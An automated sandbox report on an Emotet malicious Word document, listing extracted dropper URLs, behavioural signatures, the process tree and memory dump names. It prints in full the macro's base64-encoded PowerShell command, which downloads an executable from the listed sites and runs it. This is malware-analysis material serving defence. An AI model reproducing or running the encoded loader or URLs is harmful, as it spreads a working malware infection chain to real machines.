Analysis
- max time kernel
137s - max time network
138s - platform
windows10_x64 - resource
win10 - submitted
28/10/2020, 17:20
General
- Target emotet_e1_7da7b6e7486c055209972973f742fa347761d72fd0df3d7e4eee6114098a0ff7_2020-10-28__171732989342._fpx.doc
- Size 264KB
- Sample201028-dk9grxnnms
- SHA256 7da7b6e7486c055209972973f742fa347761d72fd0df3d7e4eee6114098a0ff7
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
exe.dropper
http://www.leapmom.com/ukeol/c/
-
exe.dropper
https://csgcargo.com/wp-content/d/
-
exe.dropper
https://www.greenleafnaturalfarms.com/cgi-bin/h/
-
exe.dropper
https://rucloset.com/gon/4/
-
exe.dropper
https://pachiba.com/blogs/7/
-
exe.dropper
https://betsdotbahisgiris.com/cgi-bin/I/
-
exe.dropper
https://rawmeditations.com/wp-content/r/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blacklisted process makes network request 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_7da7b6e7486c055209972973f742fa347761d72fd0df3d7e4eee6114098a0ff7_2020-10-28__171732989342._fpx.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD UwBlAHQALQBJAFQARQBNACAAKAAiAHYAIgArACIAYQAiACsAIgByAEkAQQBCAGwAZQA6AFEAcABlADUAIgArACIAVAAiACsAIgAzACIAKQAgACgAIAAgAFsAdABZAFAAZQBdACgAIgB7ADAAfQB7ADIAfQB7ADMAfQB7ADEAfQB7ADQAfQAiACAALQBmACcAcwB5ACcALAAnAFIAJwAsACcAUwBUAEUAbQAuAEkAbwAuAEQAJwAsACcAaQAnACwAJwBlAEMAdABPAHIAeQAnACkAIAAgACkAOwAgACAAcwBFAFQAIAAoACIAZgAwAEUAIgArACIAZwBOAHMAIgApACAAKAAgACAAWwB0AHkAUABlAF0AKAAiAHsAMgB9AHsANgB9AHsAMwB9AHsANQB9AHsAOAB9AHsANAB9AHsANwB9AHsAMQB9AHsAMAB9ACIAIAAtAGYAJwB0AG0AQQBuAEEARwBlAHIAJwAsACcAbgAnACwAJwBzACcALAAnAFQAJwAsACcAYwBlAFAATwAnACwAJwBFAG0ALgBOAGUAVAAuAHMARQBSAHYAJwAsACcAWQBTACcALAAnAEkAJwAsACcAaQAnACkAKQAgACAAOwAgACQASAA2AHQAagBkAG0AXwA9ACgAKAAnAEcAJwArACcAdgBfACcAKQArACcAMQAxACcAKwAnADgANQAnACkAOwAkAEcAbwBfAGIAbwA3AHkAPQAkAFEAXwBrADAANwBoAG4AIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEYAeABuADgAZgBpADAAOwAkAEsAMQAyAHUAbgBwADYAPQAoACcASAAzACcAKwAoACcAawAyAHUAJwArACcAMAAyACcAKQApADsAIAAgACgAIABHAEUAVAAtAHYAYQByAEkAQQBCAEwAZQAgACgAIgBRAHAARQAiACsAIgA1AFQAMwAiACkAKQAuAHYAYQBsAHUARQA6ADoAIgBDAGAAUgBFAEEAdABFAEQAaQBgAFIAZQBjAGAAVABPAGAAUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAeAAnACsAKAAnAG8AJwArACcANQBOACcAKQArACgAJwBrACcAKwAnADkAdABsAHUAegB4ACcAKQArACgAJwBvADUAJwArACcATQAnACkAKwAoACcAOABsAHkAcgBhACcAKwAnAF8AJwArACcAeABvADUAJwApACkALgAiAHIARQBgAFAAbABhAEMARQAiACgAKAAnAHgAbwAnACsAJwA1ACcAKQAsAFsAUwB0AHIASQBuAEcAXQBbAGMAaABBAHIAXQA5ADIAKQApACkAOwAkAEMAMgBhAHIAMQBhAG8APQAoACcATgAnACsAKAAnAHgAJwArACcAYgBxADAAZABhACcAKQApADsAIAAgACgARwBFAHQALQBJAHQAZQBNACAAKAAnAHYAJwArACcAQQAnACsAJwByAGkAQQBCAEwAZQA6AEYAMAAnACsAJwBFAGcAJwArACcAbgBTACcAKQApAC4AdgBBAEwAdQBFADoAOgAiAHMAYABlAEMAdQByAEkAYABUAGAAeQBwAHIAYABPAFQAbwBjAE8AbAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzADEAJwApACsAJwAyACcAKQA7ACQAUAAzAGwAYQBmAGsAaAA9ACgAKAAnAEQAZQB5AGQAJwArACcAOQAnACkAKwAnAHcAJwArACcAbAAnACkAOwAkAEwAbAA5ADUAagA1ADIAIAA9ACAAKAAoACcAWAA0ACcAKwAnADUAJwApACsAJwBvAGgAJwArACcAcwAnACkAOwAkAEoAbAB4AGIAMQBuAG8APQAoACgAJwBGACcAKwAnADMAawBmACcAKQArACcANAAnACsAJwB5ADIAJwApADsAJABWAHUANABtAHcAbgBrAD0AKAAoACcAWABsADUAJwArACcAdgBnACcAKQArACcAagB4ACcAKQA7ACQAUABlAGEAaQBkADEAOQA9ACQASABPAE0ARQArACgAKAAnAHsAJwArACcAMAB9AE4AawA5AHQAbAAnACsAJwB1AHoAewAwAH0ATQA4AGwAJwArACcAeQByAGEAXwB7ADAAfQAnACkAIAAtAEYAWwBDAEgAQQBSAF0AOQAyACkAKwAkAEwAbAA5ADUAagA1ADIAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABDAGoAOQB6AHMAaQByAD0AKAAnAFQAJwArACgAJwA4AHEAbQAnACsAJwB5AHIAdAAnACkAKQA7ACQARAAxAGQAdQB4AG0AMwA9AC4AKAAnAG4AZQAnACsAJwB3AC0AJwArACcAbwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBlAFQALgB3AGUAQgBDAGwAaQBFAG4AVAA7ACQARQBwAGUAMgBfAG8ANQA9ACgAKAAoACcAaAB0ACcAKwAnAHQAcAA6ACcAKQArACgAJwBdACcAKwAnAFsAIAAnACkAKwAoACgAJwAxACcAKwAnACkAIAAnACkAKQArACgAJwBqAGoAawAnACsAJwBnACcAKQArACgAJwBTACAAWwBdACAAJwArACcAWwBdAHcAJwArACcAXQAnACkAKwAoACgAJwBbACAAJwArACcAMQAnACsAJwApACAAagBqAGsAJwArACcAZwBTACAAJwApACkAKwAnAFsAXQAnACsAKAAnACAAWwBdACcAKwAnAHcAdwB3ACcAKQArACgAJwB3ACcAKwAnAC4AbAAnACkAKwAoACcAZQBhACcAKwAnAHAAbQBvAG0AJwArACcALgAnACkAKwAoACcAYwBvACcAKwAnAG0AXQBbACAAJwArACcAMQAnACkAKwAnACkAJwArACcAIAAnACsAJwBqAGoAJwArACcAawAnACsAKAAnAGcAJwArACcAUwAgACcAKQArACcAWwAnACsAKAAnAF0AIABbACcAKwAnAF0AdwAnACkAKwAoACcAdQBrACcAKwAnAGUAbwBsACcAKQArACgAKAAnAF0AWwAgADEAJwArACcAKQAnACkAKQArACgAJwAgACcAKwAnAGoAagBrAGcAJwApACsAKAAnAFMAIAAnACsAJwBbACcAKQArACgAJwBdACAAJwArACcAWwBdACcAKQArACcAdwBjACcAKwAoACgAJwBdACcAKwAnAFsAIAAxACkAJwApACkAKwAoACcAIAAnACsAJwBqAGoAJwApACsAJwBrAGcAJwArACgAJwBTACcAKwAnACAAWwAnACkAKwAnAF0AJwArACgAJwAgACcAKwAnAFsAXQB3AEAAJwApACsAKAAnAGgAdAB0ACcAKwAnAHAAcwA6ACcAKQArACgAKAAnAF0AWwAgACcAKwAnADEAKQAgACcAKwAnAGoAJwArACcAagBrAGcAJwApACkAKwAoACcAUwAgAFsAJwArACcAXQAgAFsAXQB3ACcAKQArACgAJwBdAFsAJwArACcAIAAnACkAKwAoACgAJwAxACkAJwApACkAKwAoACcAIAAnACsAJwBqAGoAawAnACkAKwAnAGcAJwArACgAJwBTACAAJwArACcAWwBdACcAKQArACcAIABbACcAKwAoACcAXQB3AGMAJwArACcAcwAnACkAKwAoACcAZwAnACsAJwBjAGEAJwApACsAKAAnAHIAZwBvAC4AYwBvAG0AJwArACcAXQBbACcAKQArACcAIAAnACsAKAAoACcAMQApACAAJwArACcAagBqAGsAZwAnACkAKQArACgAJwBTACcAKwAnACAAWwBdACcAKQArACgAJwAgACcAKwAnAFsAXQAnACsAJwB3AHcAcAAtAGMAbwBuACcAKwAnAHQAZQBuAHQAJwApACsAKAAoACcAXQBbACAAMQApACAAJwArACcAagBqACcAKwAnAGsAZwBTACAAJwApACkAKwAnAFsAJwArACgAJwBdACAAWwAnACsAJwBdACcAKQArACgAKAAnAHcAZAAnACsAJwBdAFsAJwArACcAIAAxACkAJwApACkAKwAnACAAJwArACcAagBqACcAKwAoACcAawAnACsAJwBnAFMAIAAnACsAJwBbAF0AIABbACcAKQArACcAXQB3ACcAKwAoACcAQABoAHQAJwArACcAdAAnACkAKwAoACcAcABzADoAJwArACcAXQAnACkAKwAoACgAJwBbACcAKwAnACAAMQApACAAJwApACkAKwAoACcAagAnACsAJwBqAGsAJwArACcAZwBTACAAJwApACsAKAAnAFsAXQAnACsAJwAgACcAKQArACcAWwAnACsAKAAnAF0AdwAnACsAJwBdAFsAIAAnACkAKwAoACgAJwAxACkAJwApACkAKwAoACcAIABqACcAKwAnAGoAJwApACsAKAAnAGsAZwAnACsAJwBTACAAWwAnACkAKwAoACcAXQAnACsAJwAgAFsAXQB3ACcAKwAnAHcAdwB3ACcAKQArACgAJwAuAGcAJwArACcAcgBlAGUAJwApACsAJwBuACcAKwAoACcAbAAnACsAJwBlAGEAJwApACsAJwBmACcAKwAoACcAbgBhACcAKwAnAHQAJwApACsAJwB1ACcAKwAnAHIAJwArACgAJwBhACcAKwAnAGwAZgBhAHIAbQBzAC4AYwAnACsAJwBvACcAKQArACgAKAAnAG0AXQBbACAAMQAnACsAJwApACAAJwArACcAagAnACkAKQArACcAagBrACcAKwAnAGcAJwArACgAJwBTACcAKwAnACAAWwBdACcAKwAnACAAWwAnACsAJwBdAHcAYwAnACkAKwAoACcAZwBpACcAKwAnAC0AYgAnACkAKwAoACgAJwBpACcAKwAnAG4AXQBbACAAMQApACAAagAnACsAJwBqAGsAJwArACcAZwBTACAAWwAnACkAKQArACgAJwBdACAAWwBdACcAKwAnAHcAJwApACsAKAAoACcAaABdAFsAJwArACcAIAAxACcAKwAnACkAJwApACkAKwAoACcAIABqACcAKwAnAGoAawAnACkAKwAoACcAZwAnACsAJwBTACAAWwBdACcAKQArACcAIAAnACsAJwBbAF0AJwArACcAdwAnACsAKAAnAEAAaAAnACsAJwB0ACcAKQArACcAdABwACcAKwAnAHMAJwArACcAOgAnACsAJwBdACcAKwAnAFsAJwArACgAKAAnACAAJwArACcAMQApACAAJwApACkAKwAoACcAagAnACsAJwBqAGsAZwBTACcAKQArACgAJwAgAFsAJwArACcAXQAnACsAJwAgAFsAXQB3AF0AJwApACsAJwBbACcAKwAoACgAJwAgACcAKwAnADEAKQAgACcAKwAnAGoAagBrAGcAUwAnACkAKQArACcAIAAnACsAKAAnAFsAJwArACcAXQAgACcAKQArACgAJwBbAF0AJwArACcAdwByACcAKQArACcAdQAnACsAJwBjACcAKwAnAGwAJwArACgAJwBvACcAKwAnAHMAZQB0ACcAKwAnAC4AYwBvACcAKwAnAG0AXQBbACcAKQArACcAIAAnACsAKAAoACcAMQApACcAKwAnACAAagBqACcAKwAnAGsAJwArACcAZwBTACAAWwBdACcAKQApACsAJwAgACcAKwAnAFsAJwArACcAXQAnACsAJwB3ACcAKwAnAGcAbwAnACsAKAAnAG4AXQBbACcAKwAnACAAMQAnACkAKwAnACkAJwArACgAJwAgAGoAJwArACcAagBrAGcAJwApACsAKAAnAFMAJwArACcAIABbACcAKQArACgAJwBdACcAKwAnACAAWwBdACcAKQArACcAdwA0ACcAKwAoACcAXQBbACAAJwArACcAMQAnACkAKwAoACgAJwApACAAJwApACkAKwAnAGoAJwArACcAagAnACsAKAAnAGsAZwAnACsAJwBTACAAWwBdACAAWwBdACcAKwAnAHcAJwArACcAQAAnACkAKwAoACcAaAAnACsAJwB0AHQAcAAnACkAKwAnAHMAOgAnACsAKAAnAF0AJwArACcAWwAgACcAKQArACgAKAAnADEAKQAnACsAJwAgACcAKQApACsAJwBqACcAKwAoACcAagAnACsAJwBrAGcAUwAnACkAKwAoACcAIAAnACsAJwBbAF0AIAAnACkAKwAnAFsAJwArACgAJwBdACcAKwAnAHcAXQAnACkAKwAoACgAJwBbACAAJwArACcAMQApACcAKQApACsAJwAgAGoAJwArACcAagAnACsAJwBrACcAKwAnAGcAJwArACgAJwBTACcAKwAnACAAWwAnACkAKwAoACcAXQAgACcAKwAnAFsAXQB3ACcAKQArACcAcAAnACsAKAAnAGEAYwBoAGkAYgBhAC4AJwArACcAYwAnACsAJwBvACcAKQArACgAJwBtACcAKwAnAF0AWwAgACcAKQArACcAMQAnACsAKAAoACcAKQAgACcAKQApACsAJwBqACcAKwAoACcAagBrAGcAUwAnACsAJwAgAFsAJwApACsAKAAnAF0AJwArACcAIABbACcAKQArACgAJwBdACcAKwAnAHcAYgBsAG8AZwAnACkAKwAnAHMAXQAnACsAKAAoACcAWwAgADEAKQAnACsAJwAgACcAKQApACsAKAAnAGoAagBrACcAKwAnAGcAUwAgAFsAXQAnACsAJwAgACcAKQArACgAJwBbAF0AdwA3ACcAKwAnAF0AJwApACsAJwBbACAAJwArACgAKAAnADEAKQAgACcAKwAnAGoAJwApACkAKwAnAGoAawAnACsAJwBnAFMAJwArACcAIAAnACsAKAAnAFsAXQAnACsAJwAgACcAKQArACcAWwBdACcAKwAoACcAdwAnACsAJwBAAGgAJwApACsAKAAnAHQAJwArACcAdABwACcAKQArACcAcwA6ACcAKwAoACcAXQAnACsAJwBbACAAJwApACsAKAAoACcAMQApACcAKwAnACAAagAnACkAKQArACgAJwBqAGsAZwBTACAAJwArACcAWwBdACcAKwAnACAAWwAnACkAKwAoACcAXQB3ACcAKwAnAF0AJwApACsAJwBbACcAKwAnACAAMQAnACsAKAAoACcAKQAgACcAKwAnAGoAJwApACkAKwAnAGoAJwArACgAJwBrAGcAUwAgAFsAXQAgACcAKwAnAFsAXQB3ACcAKwAnAGIAJwApACsAJwBlAHQAJwArACcAcwBkACcAKwAoACcAbwB0ACcAKwAnAGIAYQBoACcAKQArACgAJwBpAHMAJwArACcAZwAnACkAKwAnAGkAJwArACgAJwByAGkAJwArACcAcwAnACkAKwAnAC4AJwArACcAYwBvACcAKwAnAG0AXQAnACsAKAAoACcAWwAgACcAKwAnADEAKQAnACkAKQArACgAJwAgACcAKwAnAGoAagAnACkAKwAoACcAawAnACsAJwBnAFMAIAAnACkAKwAoACcAWwBdACcAKwAnACAAJwApACsAJwBbACcAKwAnAF0AdwAnACsAKAAnAGMAJwArACcAZwBpAC0AYgAnACkAKwAnAGkAbgAnACsAKAAoACcAXQAnACsAJwBbACAAMQApACcAKQApACsAKAAnACAAJwArACcAagBqACcAKQArACcAawAnACsAKAAnAGcAUwAgAFsAJwArACcAXQAnACkAKwAoACgAJwAgAFsAXQB3ACcAKwAnAEkAJwArACcAXQBbACAAJwArACcAMQApACAAJwApACkAKwAoACcAagBqACcAKwAnAGsAZwBTACcAKQArACcAIAAnACsAJwBbAF0AJwArACgAJwAgAFsAXQAnACsAJwB3ACcAKQArACgAJwBAAGgAJwArACcAdAAnACkAKwAoACcAdABwAHMAOgAnACsAJwBdAFsAJwArACcAIAAnACkAKwAoACgAJwAxACcAKwAnACkAJwArACcAIABqAGoAawBnAFMAIAAnACkAKQArACcAWwAnACsAKAAnAF0AIABbAF0AJwArACcAdwBdACcAKQArACcAWwAgACcAKwAoACgAJwAxACkAIABqAGoAJwArACcAawBnAFMAIAAnACsAJwBbAF0AJwApACkAKwAoACcAIABbACcAKwAnAF0AdwAnACkAKwAnAHIAYQAnACsAKAAnAHcAbQBlAGQAaQB0AGEAJwArACcAdAAnACsAJwBpACcAKwAnAG8AJwApACsAJwBuACcAKwAoACcAcwAuAGMAJwArACcAbwBtACcAKQArACcAXQBbACcAKwAoACgAJwAgADEAKQAnACsAJwAgAGoAagAnACkAKQArACcAawBnACcAKwAnAFMAJwArACcAIAAnACsAJwBbACcAKwAoACcAXQAgAFsAJwArACcAXQB3AHcAJwApACsAKAAnAHAAJwArACcALQBjAG8AJwApACsAKAAoACcAbgB0AGUAbgB0AF0AWwAgACcAKwAnADEAJwArACcAKQAnACkAKQArACcAIAAnACsAJwBqACcAKwAnAGoAawAnACsAJwBnACcAKwAnAFMAIAAnACsAJwBbAF0AJwArACcAIAAnACsAJwBbACcAKwAnAF0AJwArACgAKAAnAHcAJwArACcAcgBdAFsAIAAxACkAIABqAGoAJwArACcAawBnAFMAJwArACcAIAAnACsAJwBbACcAKQApACsAJwBdACAAJwArACcAWwBdACcAKwAnAHcAJwApACkALgAiAFIARQBwAGAATABhAGMAZQAiACgAKAAoACgAKAAnAF0AJwArACcAWwAgACcAKwAnADEAKQAgAGoAagBrAGcAUwAnACsAJwAgAFsAJwApACkAKwAnAF0AIAAnACsAJwBbAF0AJwArACcAdwAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcALwAnACkALAAoACcAeAAnACsAJwB3AGUAJwApACkAWwAwAF0AKQAuACIAUwBwAGAATABpAHQAIgAoACQARQBvAGEANQBwAGYAOQAgACsAIAAkAEcAbwBfAGIAbwA3AHkAIAArACAAJABBAHMAZQBwAHQANQBiACkAOwAkAEQAcwBhAHUAMgBiADgAPQAoACgAJwBDACcAKwAnADgAdgB6ADgAJwApACsAJwA5AHMAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABDAGIAdAAwAGYAZwBoACAAaQBuACAAJABFAHAAZQAyAF8AbwA1ACkAewB0AHIAeQB7ACQARAAxAGQAdQB4AG0AMwAuACIAZABPAGAAVwBuAGwAbwBBAEQARgBgAGkAbABlACIAKAAkAEMAYgB0ADAAZgBnAGgALAAgACQAUABlAGEAaQBkADEAOQApADsAJABVAGoAcAAzAGkANABuAD0AKAAnAEkAJwArACcAOAB5ACcAKwAoACcAYQBlACcAKwAnAGMAbQAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABQAGUAYQBpAGQAMQA5ACkALgAiAGwARQBuAGAARwB0AEgAIgAgAC0AZwBlACAANAA4ADQAMwAyACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAoACgAJwB3AGkAbgAzADIAJwArACcAXwBQACcAKQArACcAcgAnACsAKAAnAG8AYwBlAHMAJwArACcAcwAnACkAKQApAC4AIgBjAGAAUgBFAGAAQQBUAGUAIgAoACQAUABlAGEAaQBkADEAOQApADsAJABNAGgAZgBxADAANgBlAD0AKAAnAEwAMgAnACsAJwBzACcAKwAoACcAdQAnACsAJwBpAGUAZAAnACkAKQA7AGIAcgBlAGEAawA7ACQAUwB3AGsAcABrADIAbQA9ACgAKAAnAEIAJwArACcAaQA1ACcAKQArACgAJwBvADcAcgAnACsAJwBiACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABSADYAbwAxAG4AXwA1AD0AKAAnAEgAawAnACsAJwAzAGMAJwArACgAJwA3AG8AJwArACcAZAAnACkAKQA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/2616-6-0x00007FFC30B00000-0x00007FFC314EC000-memory.dmp
memory/2616-7-0x000001AE47880000-0x000001AE47881000-memory.dmp
memory/2616-8-0x000001AE47D90000-0x000001AE47D91000-memory.dmp
memory/3952-0-0x00007FFC37FD0000-0x00007FFC38607000-memory.dmp
memory/3952-1-0x0000017096376000-0x00000170963FA000-memory.dmp
memory/3952-2-0x00000170984AD000-0x00000170984B2000-memory.dmp
memory/3952-3-0x00000170984AD000-0x00000170984B2000-memory.dmp
memory/3952-4-0x00000170984AD000-0x00000170984B2000-memory.dmp
memory/3952-5-0x00000170984B2000-0x00000170984B7000-memory.dmp